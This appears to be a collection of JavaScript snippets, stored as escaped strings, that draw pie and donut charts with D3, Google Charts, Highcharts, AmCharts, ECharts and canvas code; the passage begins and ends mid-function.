.append(\"text\")\n\t\t\t .attr(\"transform\", \"translate(0,\" + this.height + \")\")\n\t\t\t .attr(\"class\",\"axisLabel\")\n\t\t\t .attr(\"text-anchor\",\"middle\")\n\t\t\t .text(this.xTitle)\n\t\t\t .attr(\"x\",(width/2))\n\t\t\t .attr(\"y\",30);*/\n\t\t\t //chart Title\n\t\t\t this.svg.append(\"g\")\n\t\t\t .attr(\"class\",\"pieTitle\")\n\t\t\t .append(\"text\")\n\t\t\t .attr(\"class\",\"pieTitle\")\n\t\t\t .text(this.title)\n\t\t\t .attr(\"text-anchor\",\"middle\")\n\t\t\t .attr(\"x\",(width/2))\n\t\t\t .attr(\"y\",0);\n\t\t\t},\n\t\tclear:function(){\n\t\t\t\tthis.svg.selectAll(\".arc\").remove();\n\t\t\t\tthis.svg.selectAll(\".pieTitle\").remove();\n\t\t\t}\n\t};\n\tthis.$get = function(){\n\t\treturn pieChartProviderImpl;\n\t};\n}", "function drawChart1()\n{\n var jsonData = $.ajax({\n url: \"http://sndll-webapp/app_dev.php/chart1JsonData\",\n dataType:\"json\",\n async: false\n }).responseText;\n\n // Create our data table out of JSON data loaded from server.\n var data = new google.visualization.DataTable(jsonData);\n\n // Set chart options\n var options = {\n 'title':'Rapport de convertion établissements / adhérents',\n 'width':500,\n 'height':400,\n 'slices': {\n 0: { color: 'green' },\n 1: { color: 'orange' },\n 2: { color: 'red' }\n },\n chartArea : { left: 10 }};\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart.draw(data, options);\n}", "function drawChart() {\r\n var data = google.visualization.arrayToDataTable([\r\n ['Task', 'All Time'],\r\n ['Male',male],\r\n ['Female',female],\r\n ['Others',other],\r\n ]);\r\n \r\n var options = {\r\n title: 'Gender',\r\n titleTextStyle: {color: 'black', fontSize: 30},\r\n colors:['#EC00FF','#3055FF','#7EE182'] ,\r\n pieHole: 0.5,\r\n };\r\n \r\n var chart = new google.visualization.PieChart(document.getElementById('donutchart'));\r\n chart.draw(data, options);\r\n }", "function drawChart() {\n\n // Create the data table.\n var data = new google.visualization.DataTable();\n data.addColumn('string', 'Topping');\n data.addColumn('number', 'Slices');\n data.addRows(render);\n\n // Set chart options\n var options = {\n 'title': 'Cantidad de laboratorios por sede',\n\n\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart.draw(data, options);\n\n }", "function drawChart1() {\n\n // Create the data table.\n var data1 = new google.visualization.DataTable();\n data1.addColumn('string', 'nombre');\n data1.addColumn('number', 'cantidad');\n data1.addRows(render);\n\n // Set chart options\n var options1 = {\n 'title': 'Cantidad de laboratorios por escuela',\n\n\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart1 = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart1.draw(data1, options1);\n\n }", "function pie(ctx, w, h, datalist, datalabel, colorlist) {\n\n var radius = h / 2 - 5;\n var centerx = w / 2;\n var centery = h / 2;\n var lastend = 0;\n var offset = Math.PI / 2;\n var labelxy = new Array();\n\n //font for the label\n var fontSize = Math.floor(h/ 20);\n ctx.textAlign = 'center';\n ctx.font = fontSize + \"px Arial\";\n var total = 0;\n for(var x = 0; x < datalist.length; x++) { total += datalist[x]; }\n\n //creation of the part of each pie\n for (var i = 0; i < datalist.length; i++) {\n var thispart = datalist[i];\n ctx.beginPath();\n ctx.fillStyle = colorlist[i];\n ctx.moveTo(centerx,centery);\n var arcsector = Math.PI * (2 * thispart / total);\n ctx.arc(centerx,centery,radius, lastend - offset, lastend + arcsector - offset, false);\n ctx.lineTo(centerx,centery);\n ctx.fill();\n ctx.closePath();\n\n if (thispart > (total / 20)) {\n labelxy.push(lastend + arcsector / 2 + Math.PI + offset);\n }\n\n lastend += arcsector;\n }\n\n var lradius = radius * 3 / 4;\n ctx.strokeStyle = \"#000000\";\n ctx.fillStyle = \"#000000\";\n for (var i = 0; i < labelxy.length; i++) {\n var langle = labelxy[i];\n var dx = centerx + lradius * Math.cos(langle);\n var dy = centery + lradius * Math.sin(langle);\n ctx.fillText(datalabel[i], dx, dy);\n }\n }", "function drawChart4() {\n\n // Create the data table.\n var data4 = new google.visualization.DataTable();\n data4.addColumn('string', 'nombre');\n data4.addColumn('number', 'cantidad');\n data4.addRows(render);\n\n // Set chart options\n var options1 = {\n 'title': 'Cantidad de pruebas por escuela sede: '+escuela,\n\n\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart1 = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart1.draw(data4, options1);\n\n }", "function pieChart(pD){\n var pC ={}, pieDim ={w:250, h: 250};\n pieDim.r = Math.min(pieDim.w, pieDim.h) / 2;\n // create svg for pie chart.\n d3.select(id).append(\"h1\").text(\"Cat vs Dog PieChart\").append(\"br\");\n var piesvg = d3.select(id).append(\"svg\")\n .attr(\"width\", pieDim.w).attr(\"height\", pieDim.h).append(\"g\")\n .attr(\"transform\", \"translate(\"+pieDim.w/2+\",\"+pieDim.h/2+\")\");\n // create function to draw the arcs of the pie slices.\n var arc = d3.svg.arc().outerRadius(pieDim.r - 10).innerRadius(0);\n // create a function to compute the pie slice angles.\n var pie = d3.layout.pie().sort(null).value(function(d) { return d.freq; });\n // Draw the pie slices.\n piesvg.selectAll(\"path\").data(pie(pD)).enter().append(\"path\").attr(\"d\", arc)\n .each(function(d) { this._current = d; })\n .style(\"fill\", function(d) { return segColor(d.data.type); })\n .on(\"mouseover\",mouseover).on(\"mouseout\",mouseout);\n // create function to update pie-chart. This will be used by histogram.\n pC.update = function(nD){\n piesvg.selectAll(\"path\").data(pie(nD)).transition().duration(500)\n .attrTween(\"d\", arcTween);\n } \n // Utility function to be called on mouseover a pie slice.\n function mouseover(d){\n // call the update function of histogram with new data.\n hGW.update(fData.map(function(v){ \n return [v.State,v.freq[d.data.type]];}),segColor(d.data.type));\n hGR.update(fData.map(function(v){ \n return [v.State,v.rate[d.data.type]];}),segColor(d.data.type));\n hGC.update(fData.map(function(v){ \n return [v.State,v.count[d.data.type]];}),segColor(d.data.type));\n }\n //Utility function to be called on mouseout a pie slice.\n function mouseout(d){\n // call the update function of histogram with all data.\n hGW.update(fData.map(function(v){\n return [v.State,v.total];}), barColor);\n hGR.update(fData.map(function(v){\n return [v.State,v.total];}), barColor);\n hGC.update(fData.map(function(v){\n return [v.State,v.total];}), barColor);\n }\n // Animating the pie-slice requiring a custom function which specifies\n // how the intermediate paths should be drawn.\n function arcTween(a) {\n var i = d3.interpolate(this._current, a);\n this._current = i(0);\n return function(t) { return arc(i(t)); };\n } \n return pC;\n }", "function drawChart4() {\n var data = google.visualization.arrayToDataTable([\n ['Task', 'Hours per Day'],\n ['IOS', 8],\n ['Android', 28],\n]);\n\n // Optional; add a title and set the width and height of the chart\n var options = {'title':'Phone', 'width':150, 'height':106, colors: ['#B771C2', '#19F0F0']};\n\n // Display the chart inside the <div> element with id=\"piechart\"\n var chart = new google.visualization.PieChart(document.getElementById('piechart4'));\n chart.draw(data, options);\n}", "function redrawPAR30PieChart() {\n nv.addGraph(function () {\n var chart = nv.models.pieChart()\n .x(function (d) {\n return d.label\n })\n .y(function (d) {\n return d.value\n })\n .showLabels(true);\n chart.margin({top: 200});\n\n\n d3.select(\"#PAR30piechart svg\")\n .datum(scope.PAR30pieData)\n .transition().duration(350)\n .call(chart);\n\n return chart;\n });\n }", "function plotPieCh( data ) {\n\t\n\t\tvar chart, item, angle, offset, tot;\n\t\t\n\t\ttot = summation( data );\n\t\toffset = 0;\n\t\tchart = new THREE.Object3D();\n\t\t\n\t\t// in each iteration a portion is added\n\t\tfor (var i=0; i<data.length; i++) {\n\t\t\tangle = 2*Math.PI*data[i] / tot;\n\t\t\t\n\t\t\titem = pie( angle, getColor( i ) );\n\t\t\t\n\t\t\toffset += angle;\n\t\t\titem.rotation.y += offset;\n\t\t\t\n\t\t\tchart.add( item );\n\t\t}\n\t\t\n\t\treturn chart;\n\t}", "function pie () {\n var $$ = {};\n\n var chart = function chart(context) {\n context.call($$.chartFrame); // make sure pie, arc, and legend accessors are defined properly\n\n $$.pie.value($$.value).color($$.color).key($$.key);\n $$.legend.html($$.label).key($$.key).color($$.color);\n $$.tooltip.color(function (d) {\n return d3Color.rgb($$.color(d.data)).darker(0.3);\n });\n var selection = context.selection ? context.selection() : context;\n selection.each(function (datum) {\n update.call(this, datum, context !== selection ? context : null);\n });\n selection.dispatch('chart-pie-updated', {\n bubbles: true\n });\n selection.dispatch('chart-updated', {\n bubbles: true\n });\n return chart;\n }; // percent formater\n\n\n var percent = d3Format.format('.0%'); // configure model properties\n\n base(chart, $$).addProp('chartFrame', chartFrame().legendEnabled(true).breadcrumbsEnabled(false)).addProp('legend', legend().clickable(true).dblclickable(true)).addProp('key', function (d) {\n return d.label;\n }).addProp('pie', svgPie()).addProp('tooltip', tooltip().followMouse(true).html(function (d) {\n return \"<b>\".concat($$.label(d.data), \"</b>: \").concat($$.value(d.data), \" (\").concat(percent(d.__percent__), \")\");\n })).addPropFunctor('values', function (d) {\n return d;\n }).addPropFunctor('duration', 250).addPropFunctor('donutRatio', 0).addPropFunctor('at', 'center center').addPropFunctor('showPercent', function (d, total) {\n return $$.value(d) / total > 0.03;\n }).addPropFunctor('radius', function (d, w, h) {\n return Math.min(w, h) / 2;\n }).addPropFunctor('color', function (d) {\n return color(d.label);\n }).addPropFunctor('value', function (d) {\n return d.value;\n }).addPropFunctor('arcLabel', null).addPropFunctor('label', function (d) {\n return d.label;\n }).addAdvancedConfig(chartPieAdvanced); // // The advanced method is an alternative to calling the chart base method directly.\n // // The method will provide additional chart configuration before rendering through\n // // the `chartPieAdvanced` function.\n // chart.advanced = function (context) {\n // const selection = (context.selection)? context.selection() : context;\n // const transition = selection !== context;\n // selection.each(function (datum) {\n // if (datum.onChartUpdated) d3.select(this).on('chart-updated', datum.onChartUpdated);\n // let el = d3.select(this).selectAll('.d2b-chart-advanced').data([chartPieAdvanced(chart, datum)]);\n // const elEnter = el.enter().append('div').attr('class', 'd2b-chart-advanced');\n // el = elEnter.merge(el);\n // const elTransition = transition ? el.transition(context) : el;\n // elTransition.call(chart);\n // });\n // };\n // update chart\n\n function update(datum, transition) {\n var el = d3Selection.select(this),\n selection = el.select('.d2b-chart-container'),\n size = selection.node().__size__,\n radius = $$.radius(datum, size.width, size.height),\n donutRatio = $$.donutRatio(datum),\n legendEmpty = $$.legend.empty(),\n values = $$.values(datum),\n filtered = values.filter(function (d) {\n return !legendEmpty(d);\n });\n\n $$.pie.values(filtered);\n $$.legend.values(values); // legend functionality\n\n var legend = el.select('.d2b-legend-container');\n (transition ? legend.transition(transition) : legend).call($$.legend);\n legend.on('change', function () {\n return el.transition().duration($$.duration(datum)).call(chart);\n }).selectAll('.d2b-legend-item').on('mouseover', function (d) {\n arcGrow.call(this, el, d, 1.03);\n }).on('mouseout', function (d) {\n arcGrow.call(this, el, d);\n }); // get pie total\n\n var total = d3Array.sum(filtered, function (d) {\n return $$.value(d);\n }); // select and enter pie chart 'g' element.\n\n var chartGroup = selection.selectAll('.d2b-pie-chart').data([filtered]);\n var chartGroupEnter = chartGroup.enter().append('g').attr('class', 'd2b-pie-chart');\n chartGroup = chartGroup.merge(chartGroupEnter);\n if (transition) chartGroup = chartGroup.transition(transition);\n $$.pie.arc().innerRadius(radius * donutRatio).outerRadius(radius);\n chartGroup.call($$.pie);\n var arcGroup = selection.selectAll('.d2b-pie-arc').each(function (d) {\n // store inner and outer radii so that they can be used for hover\n // transitions\n d.__innerRadius__ = radius * donutRatio;\n d.__outerRadius__ = radius; // store percent for use with the tooltip\n\n d.__percent__ = d.value / total;\n }).on('mouseover', function (d) {\n arcGrow.call(this, el, d.data, 1.03);\n }).on('mouseout', function (d) {\n arcGrow.call(this, el, d.data);\n }).call($$.tooltip);\n var arcPercent = arcGroup.selectAll('.d2b-pie-arc-percent').data(function (d) {\n return [d];\n });\n arcPercent.enter().append('g').attr('class', 'd2b-pie-arc-percent').append('text').attr('y', 6);\n arcGroup.each(function () {\n var elem = d3Selection.select(this),\n current = elem.select('.d2b-pie-arc path').node().current,\n percentGroup = elem.select('.d2b-pie-arc-percent'),\n percentText = percentGroup.select('text').node();\n percentGroup.node().current = current;\n percentText.current = percentText.current || 0;\n });\n\n if (transition) {\n arcGroup = arcGroup.each(function (d) {\n d.transitioning = true;\n }).transition(transition).on('end', function (d) {\n d.transitioning = false;\n });\n }\n\n var arcText = arcGroup.select('.d2b-pie-arc-percent').call(tweenCentroid, $$.pie.arc()).select('text');\n arcText.each(function (d) {\n var arcLabel = $$.arcLabel(d.data);\n var text = d3Selection.select(this);\n if (transition) text = text.transition(transition); // if arc label is non-null use percents\n\n if (arcLabel) {\n text.text(arcLabel);\n } else {\n text.call(tweenNumber, $$.value(d.data) / total, percent).style('opacity', function (d) {\n return $$.showPercent.call(this, d.data, total) ? 1 : 0;\n });\n }\n });\n var coords = chartCoords(datum, radius, size);\n if (isNaN(coords.x) || isNaN(coords.y)) return;\n chartGroupEnter.attr('transform', \"translate(\".concat(coords.x, \", \").concat(coords.y, \")\"));\n chartGroup.attr('transform', \"translate(\".concat(coords.x, \", \").concat(coords.y, \")\"));\n } // Position the pie chart according to the 'at' string (e.g. 'center left',\n // 'top center', ..). Unless at is an object like {x: , y:}, then position\n // according to these coordinates.\n\n\n function chartCoords(datum, radius, size) {\n var coords = $$.at(datum, size.width, size.height, radius);\n\n if (_typeof(coords) !== 'object') {\n coords = coords.split(' ');\n var at = {\n x: coords[1],\n y: coords[0]\n };\n coords = {};\n\n switch (at.x) {\n case 'left':\n coords.x = radius;\n break;\n\n case 'center':\n case 'middle':\n coords.x = size.width / 2;\n break;\n\n case 'right':\n default:\n coords.x = size.width - radius;\n }\n\n switch (at.y) {\n case 'bottom':\n coords.y = size.height - radius;\n break;\n\n case 'center':\n case 'middle':\n coords.y = size.height / 2;\n break;\n\n case 'top':\n default:\n coords.y = radius;\n }\n }\n\n return coords;\n }\n\n function arcGrow(el, d) {\n var multiplier = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 1;\n var arc = $$.pie.arc();\n var transitioning = false;\n var arcSvg = el.selectAll('.d2b-pie-arc').filter(function (dd) {\n return dd.data === d;\n }).each(function (d) {\n transitioning = transitioning || d.transitioning;\n d.outerRadius = d.__outerRadius__ * multiplier;\n d.innerRadius = d.__innerRadius__;\n });\n if (transitioning) return;\n arcSvg.select('path').transition().duration(100).call(tweenArc, arc);\n }\n\n return chart;\n}", "function showPieCateg(divId){\n\t//alert(\"caled\");\n\tmaxDivId3=\"PieCateg\";\n\t var dept=$(\"#deptnameCateg\").val();\n\t var dashFor='M';\n\t if(dept!=-1){\n\t\t dashFor='H';\n\t }\n\t \n\t var url1=\"view/Over2Cloud/HelpDeskOver2Cloud/Dashboard_Pages_Mgt/jsonChartData4CategCounters.action?filterFlag=\"+dashFor+\"&filterDeptId=\"+dept+\"&fromDate=\"+$('#sdate').val()+\"&toDate=\"+$('#edate').val();\n\t\t//console.log(url1);\n\t$.ajax({\n\t type : \"post\",\n\t url : url1,\n\t type : \"json\",\n\t success : function(data) {if (data.length == '0')\n\t\t{\n\t\t\t$('#' + divId).html(\"<center><br/><br/><br/><br/><br/><br/><font style='opacity:.9;color:#0F4C97;' size='3'>No Data Available</font></center>\");\n\t\t} else\n\t\t{\n\t\t\t//console.log(data);\n\t\t\tvar chart = AmCharts.makeChart(divId, {\n\t\t\t\t\"type\": \"pie\",\n\t\t\t\t\n\t\t\t\t\"balloonText\": \"[[title]]<br><span style='font-size:14px'><b>[[value]]</b> ([[percents]]%)</span>\",\n\t\t\t\t\"labelText\": \"[[percents]]%\",\n\t\t\t\t\"titleField\": \"Category\",\n\t\t\t\t\"valueField\": \"Counter\",\n\t\t\t\t\"fontSize\": 12,\n\t\t\t\t\"pathToImages\": \"amcharts/images\",\n\t\t\t\t\"theme\": \"light\",\n\t\t\t\t\"radius\": 90,\n\t\t\t\t\"innerRadius\": 10,\n\t\t\t\t\"labelRadius\": 1,\n\t\t\t\t\"allLabels\": [],\n\t\t\t\t\"balloon\": {},\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"position\": \"right\",\n\t\t\t\t\t\"valueAlign\": \"left\",\n\t\t\t\t\t\"verticalGap\": 1,\n\t\t\t\t\t\"useMarkerColorForLabels\": true,\n\t\t\t\t\t\"useMarkerColorForValues\": true,\n\t\t\t\t\t\"markerType\": \"circle\",\n\t\t\t\t\t\"markerSize\": 15\n\t\t\t\t\t\n\t\t\t\t},\n\t\t\t\t\"titles\": [],\n\t\t\t\t\"dataProvider\":data,\n\t\t\t\t \"export\": {\n\t\t\t\t \"enabled\": true,\n\t\t\t\t \"position\": \"top-left\"\n\t\t\t\t }\n\t\t\t});\n\t\t\tchart.write(divId);\n\t\t\tchart.addListener(\"clickSlice\", handlePieClick);\n\t\t}},\n\t error: function() {\n\t alert(\"error from jsonArray data \");\n\t }\n\t });\n\t\n}", "function drawChart() {\n var data = google.visualization.arrayToDataTable([\n ['Race', 'PopTotal'],\n ['Black', 1875278],\n      ['Native', 15481],\n      ['Asian', 1126856],\n      ['White', 2724805],\n      ['Hispanic', 2418646]\n ], false);\n \n // Optional; add a title and set the width and height of the chart\n var options = {\n colors: ['#28B463','#fa0177', '#c51bfa','#5DADE2','#E67E22'], \n 'chartArea': {'width': '100%', 'height': '80%'},\n backgroundColor: {'fill':'transparent'},\n tooltip: {title:\" \",\n textStyle: {fontName:'Raleway, sans-serif', fontSize: 12, color: '#323545'}},\n legend: {\n textStyle: {fontName:'Raleway, sans-serif', fontSize: 12, color: 'white'}},\n pieSliceTextStyle:{fontName:'Raleway, sans-serif', fontSize: 12, color:'white'}\n\n };\n \n // Display the chart inside the <div> element with id=\"piechart\"\n var chart = new google.visualization.PieChart(document.getElementById('piechart'));\n chart.draw(data, options);\n }", "function loadPieChartDistrictLevel() {\n var data = prepareDataPieDistrictLevel();\n var levelName = iHealthChart.getLevel();\n $('.highchartContainer').highcharts({\n chart: {\n type: 'pie',\n events: {\n drilldown: function (e) {\n var subTitle = e.seriesOptions.id;\n var count = e.seriesOptions.data.length;\n var chart = $('.highchartContainer').highcharts();\n chart.setTitle(null, { text: subTitle + ' - ' + count + ' ' + levelName});\n\t\t\t\t\tchart.yAxis[0].setTitle({ text: subTitle });\n },\n drillup: function(e) {\n var chart = $('.highchartContainer').highcharts();\n chart.setTitle(null, { text: ''});\n\t\t\t\t\t$('.highcharts-yaxis-title').hide();\n } ,\n load: function(event) {\n setTimeout(function () {\n $(document).resize();\n //$(metaInfo.chartContainer).highcharts().reflow();\n //$(window).resize();\n }, 100);\n }\n }\n },\n title: {\n text: data.title\n },\n\n tooltip: {\n backgroundColor: '#FCFFC5',\n formatter: function () {\n\n var tooltipHtml = '';\n if(this.series.options.type == 'pie') {\n tooltipHtml = '<b>' + this.y + ' </b>'+ levelName;\n }\n if(this.series.options.type == 'column'){\n tooltipHtml = '' + this.key +\n '<br>' + data.title + ': <b>'+ Highcharts.numberFormat(this.y, 0); + '</b>';\n }\n return tooltipHtml;\n }\n },\n xAxis: {\n type: 'category',\n labels: {\n rotation: -45\n /* style: {\n fontSize: '7px',\n fontFamily: 'Verdana, sans-serif',\n whiteSpace: 'normal',\n \"fontWeight\":\"bold\"\n }*/\n }\n },\n\n legend: {\n enabled: false\n },\n\n plotOptions: {\n\n pie: {\n dataLabels: {\n enabled: true\n }\n }\n },\n credits: {\n enabled: false\n },\n series: [{\n name: 'Chart',\n colorByPoint: true,\n data: data.series,\n type:'pie'\n }],\n drilldown: {\n series: data.drilldown,\n drillUpButton: {\n relativeTo: 'spacingBox',\n position: {\n y: 0,\n x: -30\n }\n }\n }\n });\n\n}", "function drawChart3() {\n var data3\n // Create the data table.\n data3 = new google.visualization.DataTable();\n data3.addColumn('string', 'nombre');\n data3.addColumn('number', 'cantidad');\n data3.addRows(render);\n\n // Set chart options\n var options1 = {\n 'title': 'Cantidad de laboratorios por actividad escuela: '+escuela,\n\n\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart1 = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart1.draw(data3, options1);\n\n }", "function setQualityPie(data) {\n\n //set variables for pie chart colors\n var wineColor = d3.scaleOrdinal()\n .range([\"#4F5C3A\",\"#ACC77D\", \"#C4BDB1\"]);\n\n var pie = d3.pie()\n .value(function(d) { return d.percent; })(data);\n\n var arc = d3.arc()\n .outerRadius(pieRadius-10)\n .innerRadius(0);\n\n var labelArc = d3.arc()\n .outerRadius(pieRadius - 100)\n .innerRadius(pieRadius - 65);\n\n\n var svg = d3.select(\"#regionChart\")\n .append(\"svg\")\n .attr(\"width\", pieWidth)\n .attr(\"height\", pieHeight)\n .append(\"g\")\n //moving center point to half width and height\n .attr(\"transform\", \"translate(\" + pieWidth/2 + \",\" + pieHeight/2 + \")\");\n\n var pieTitle = d3.select(\"#regionChart\")\n .append(\"class\", \"pieTitle\")\n .text(\"Quality by Percentage\")\n .style('text-anchor', 'middle')\n .style(\"fill\", \"black\");\n\n var g = svg.selectAll(\"arc\")\n .data(pie)\n .enter().append(\"g\")\n .attr(\"class\", \"arc\");\n\n g.append(\"path\")\n .attr(\"d\", arc)\n .style(\"fill\", function(d) { return wineColor(d.data.type);})\n .attr(\"stroke\", \"white\")\n .style(\"stroke-width\", \"5px\")\n .style(\"opacity\", 0.9);\n\n\n\n g.append(\"text\")\n .attr(\"transform\", function(d) { return \"translate(\" + labelArc.centroid(d) + \")\"; })\n .text(function(d) { return d.data.type;})\n .style(\"fill\", \"#fff\");\n\n }", "function Visdoughnutchef(nb, nb1, nb2,nb3)\n{\nvar doughnutChart = echarts.init(document.getElementById('doughnut-chartchef'));\n\n// specify chart configuration item and data\n\noption = {\n tooltip : {\n trigger: 'status',\n formatter: \"{a} : {b} ({c}%)\"\n },\n legend: {\n orient : 'vertical',\n x : 'left',\n data:['Nouveau','en Cours','Terminé','Validé']\n },\n toolbox: {\n show : true,\n feature : {\n dataView : {show: true, readOnly: true},\n \n restore : {show: true},\n saveAsImage : {show: true}\n }\n },\n color: [\"#009efb\",\"#55ce63\",\"#FFD700\",\"#dd1d36\"],\n calculable : true,\n series : [\n {\n name:'Source',\n type:'pie',\n radius : ['80%', '90%'],\n itemStyle : {\n normal : {\n label : {\n show : false\n },\n labelLine : {\n show : false\n }\n },\n emphasis : {\n label : {\n show : true,\n position : 'center',\n textStyle : {\n fontSize : '30',\n fontWeight : 'bold'\n }\n }\n }\n },\n data:[\n {value:nb, name:'Nouveau Projet'},\n {value:nb1, name:'Projet En cours'},\n\t\t\t\t{value:nb2, name:'Projet Terminé'},\n {value:nb3, name:'Projet validé'},\n \n ]\n }\n ]\n};\n \n \n\n// use configuration item and data specified to show chart\ndoughnutChart.setOption(option, true), $(function() {\n function resize() {\n setTimeout(function() {\n doughnutChart.resize()\n }, 100)\n }\n $(window).on(\"resize\", resize), $(\".sidebartoggler\").on(\"click\", resize)\n });\n}", "function pieChart(chart) {\n //declare container element.\n var plot = eve.charts.createPlot(chart),\n serie = chart.series[0],\n isDonut = false,\n transX = plot.width / 2,\n transY = plot.height / 2;\n\n //check serie to handle errors\n if (serie.type !== 'pie' && serie.type !== 'donut') {\n throw new Error('Serie type mistmatch! When creating a pie chart, serie type should be set as \"pie\" or \"donut\"...');\n return null;\n }\n\n //set this data\n this.data = null;\n\n //update margins by legend\n if (chart.legend.enabled) {\n //switch legend position\n switch (chart.legend.position) {\n case 'left':\n transX = (plot.width + chart.legend.maxWidth) / 2;\n break;\n case 'right':\n transX = (plot.width - chart.legend.maxWidth) / 2;\n break;\n case 'top':\n transY = (plot.height + chart.legend.maxHeight) / 2;\n break;\n case 'bottom':\n transY = (plot.height - chart.legend.maxHeight) / 2;\n break;\n }\n }\n\n //append balloon div into the document\n eve(document.body).append('<div id=\"' + chart.id + '_balloon\" class=\"eve-balloon\"></div>');\n\n //set balloon as eve object\n var balloon = eve('#' + chart.id + '_balloon');\n\n //set balloon style\n balloon.style('backgroundColor', chart.balloon.backColor);\n balloon.style('borderStyle', chart.balloon.borderStyle);\n balloon.style('borderColor', chart.balloon.borderColor);\n balloon.style('borderRadius', chart.balloon.borderRadius + 'px');\n balloon.style('borderWidth', chart.balloon.borderSize + 'px');\n balloon.style('color', chart.balloon.fontColor);\n balloon.style('fontFamily', chart.balloon.fontFamily);\n balloon.style('fontSize', chart.balloon.fontSize + 'px');\n balloon.style('paddingLeft', chart.balloon.padding + 'px');\n balloon.style('paddingTop', chart.balloon.padding + 'px');\n balloon.style('paddingRight', chart.balloon.padding + 'px');\n balloon.style('paddingBottom', chart.balloon.padding + 'px');\n if (chart.balloon.fontStyle == 'bold') balloon.style('fontWeight', 'bold'); else balloon.style('fontStyle', chart.balloon.fontStyle);\n\n //check serie type\n if (serie.type === 'donut') isDonut = true;\n\n //declare pie chart plot variables\n var radius = Math.min((plot.width - plot.legendRateWidth), (plot.height - plot.legendRateHeight)) / 2,\n outerRadius = serie.labelsEnabled ? (serie.labelPosition === 'outside' ? radius * .8 : radius * .9) : radius * .9,\n innerRadius = 0,\n pie = d3.layout.pie().sort(null).value(function (d) { return d[serie.valueField]; }),\n key = function (d) { return d.data[serie.titleField]; },\n legendIcons = null, legendTexts = null,\n slices, labels, lines;\n\n //check whether the chart is donut\n if (isDonut) innerRadius = serie.innerRadius === 0 ? radius / 2 : serie.innerRadius;\n\n //declare arcs\n var arc = d3.svg.arc().outerRadius(outerRadius).innerRadius(innerRadius),\n arcSelected = d3.svg.arc().outerRadius(outerRadius + 10).innerRadius(innerRadius);\n\n //set chart canvas\n var canvas = d3.select(plot.container.reference).append('svg')\n .attr('width', plot.width).attr('height', plot.height).append('g');\n\n //set slices, labels and label lines\n canvas.append('g').attr('class', 'eve-pie-slices');\n canvas.append('g').attr('class', 'eve-pie-labels');\n canvas.append('g').attr('class', 'eve-pie-labels-lines');\n canvas.append('g').attr('class', 'eve-legend-icon');\n canvas.append('g').attr('class', 'eve-legend-text');\n\n //translate canvas center\n canvas.attr('transform', 'translate(' + transX + ',' + transY + ')');\n\n //formats value\n function formatValue(value, data) {\n //handle errors\n if (arguments.length === 0) return '';\n if (value == null || data == null) return '';\n\n //declare format variables\n var formatted = value,\n totalValue = d3.sum(chart.data, function (d) { return d[serie.valueField]; }),\n currentValue = data[serie.valueField] === null ? 0 : data[serie.valueField],\n percentValue = currentValue / totalValue * 100;\n\n //convert titles\n if (serie['titleField'] != null) formatted = formatted.replaceAll('{{title}}', data[serie.titleField] == null ? '' : data[serie.titleField]);\n\n //convert values\n if (serie['valueField'] != null) formatted = formatted.replaceAll('{{value}}', (chart.formatNumbers ? currentValue.group(chart.decimalSeperator, chart.thousandSeperator, chart.precision) : currentValue));\n\n //convert opacity\n if (serie['opacityField'] != null) formatted = formatted.replaceAll('{{opacity}}', data[serie.opacityField] == null ? '' : data[serie.opacityField]);\n\n //convert opacity\n if (serie['colorField'] != null) formatted = formatted.replaceAll('{{color}}', data[serie.colorField] == null ? '' : data[serie.colorField]);\n\n //convert totals\n if (totalValue != null) formatted = formatted.replaceAll('{{total}}', (chart.formatNumbers ? totalValue.group(chart.decimalSeperator, chart.thousandSeperator, chart.precision) : totalValue));\n\n //convert percents\n if (percentValue != null) formatted = formatted.replaceAll('{{percent}}', '%' + percentValue.group(chart.decimalSeperator, chart.thousandSeperator, chart.precision));\n\n //return formatted content\n return formatted;\n };\n\n //set legend\n this.setLegend = function () {\n //check whether the chart legends are enabled\n if (!chart.legend.enabled) return false;\n\n //declare base\n var base = this;\n\n //check whether the chart legend icons and texts are already rendered\n if (legendIcons != null) legendIcons.remove();\n if (legendTexts != null) legendTexts.remove();\n\n //select legend icons\n legendIcons = canvas.select('.eve-legend-icon').selectAll('rect.eve-legend-icon').data(pie(this.data), key);\n\n //select legend texts\n legendTexts = canvas.select('.eve-legend-text').selectAll('text.eve-legend-text').data(pie(this.data), key);\n\n //append legend icons\n legendIcons.enter().insert('rect')\n .style('cursor', 'pointer')\n .attr('class', 'eve-legend-icon')\n .attr('width', chart.legend.iconWidth)\n .attr('height', chart.legend.iconHeight)\n .style('fill', function (d, i) { return d3.select(slices[0][i]).style('fill'); })\n .on('click', function (d, i) {\n //set data selected event\n d.data.selected = !d.data.selected;\n\n //scale the current pie element\n if (d.data.selected) {\n d3.select(slices[0][i])\n .style(\"stroke-opacity\", 1)\n .transition()\n .duration(chart.animationDuration)\n .attr(\"d\", arcSelected);\n } else {\n d3.select(slices[0][i])\n .style(\"stroke-opacity\", 0.1)\n .transition()\n .duration(chart.animationDuration)\n .attr(\"d\", arc);\n }\n\n //check whether the legendclick event is not null\n if (chart['legendClick'] !== null) chart.legendClick(d.data);\n });\n\n //append legend texts\n legendTexts.enter().insert('text')\n .style('cursor', 'pointer')\n .attr('class', 'eve-legend-text')\n .style('fill', chart.legend.fontColor)\n .style('font-weight', chart.legend.fontStyle == 'bold' ? 'bold' : 'normal')\n .style('font-style', chart.legend.fontStyle == 'bold' ? 'normal' : chart.legend.fontStyle)\n .style(\"font-family\", chart.legend.fontFamily)\n .style(\"font-size\", chart.legend.fontSize + 'px')\n .style(\"text-anchor\", 'left')\n .text(function (d) { return formatValue(chart.legend.format, d.data); })\n .on('click', function (d, i) {\n //set data selected event\n d.data.selected = !d.data.selected;\n\n //scale the current pie element\n if (d.data.selected) {\n d3.select(slices[0][i])\n .style(\"stroke-opacity\", 1)\n .transition()\n .duration(chart.animationDuration)\n .attr(\"d\", arcSelected);\n } else {\n d3.select(slices[0][i])\n .style(\"stroke-opacity\", 0.1)\n .transition()\n .duration(chart.animationDuration)\n .attr(\"d\", arc);\n }\n\n //check whether the legendclick event is not 